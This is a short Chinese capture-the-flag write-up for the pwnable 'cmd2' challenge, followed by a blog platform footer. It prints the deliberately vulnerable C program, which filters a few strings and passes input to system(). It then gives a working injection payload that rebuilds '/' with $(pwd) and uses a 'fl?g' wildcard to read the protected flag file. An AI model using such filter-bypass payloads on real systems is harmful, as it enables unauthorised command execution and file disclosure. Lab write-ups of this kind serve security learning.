PWNABLE——cmd2

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

本题关键在于绕过'/'的过滤,可以用$(pwd)这个环境变量绕过,结合通配符即可绕过。

cd /
echo $(pwd)  此时pwd为当前路径,即'/'
/home/cmd2/cmd2 '$(pwd)home$(pwd)cmd2$(pwd)fl?g'
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Swift1> Swift和OC的区别1.1> Swift没有地址/指针的概念1.2> 泛型1.3> 类型严谨 对...
    cosWriter阅读 11,163评论 1 32
  • 201. M-Q型显影液组合是()。 (2.0 分) A. 米吐尔与菲尼酮的组合 B. 对苯二酚和菲尼酮的组合 C...
    我们村我最帅阅读 3,739评论 0 4
  • 来自陈浩的一片老文,但绝对营养。 示例工程:3 个头文件*.h,和 8 个 C 文件*.c。 初 编译过程,源文件...
    周筱鲁阅读 4,753评论 0 17
  • 很多人写过暗恋,情窦初开的那些悸动。 我喜欢张爱玲的原来你也在这里。爱一个人就像低到尘埃里。仿佛遇到他(她),就像...
    雪过天晴_99a2阅读 196评论 1 0
  • 【书籍名称】: 《名创优品没有秘密》 【阅读目标】: 1、了解名创优品为什么拓展地如此之快 2、名创优品成功之处在...
    李泳梅Bella阅读 1,911评论 0 1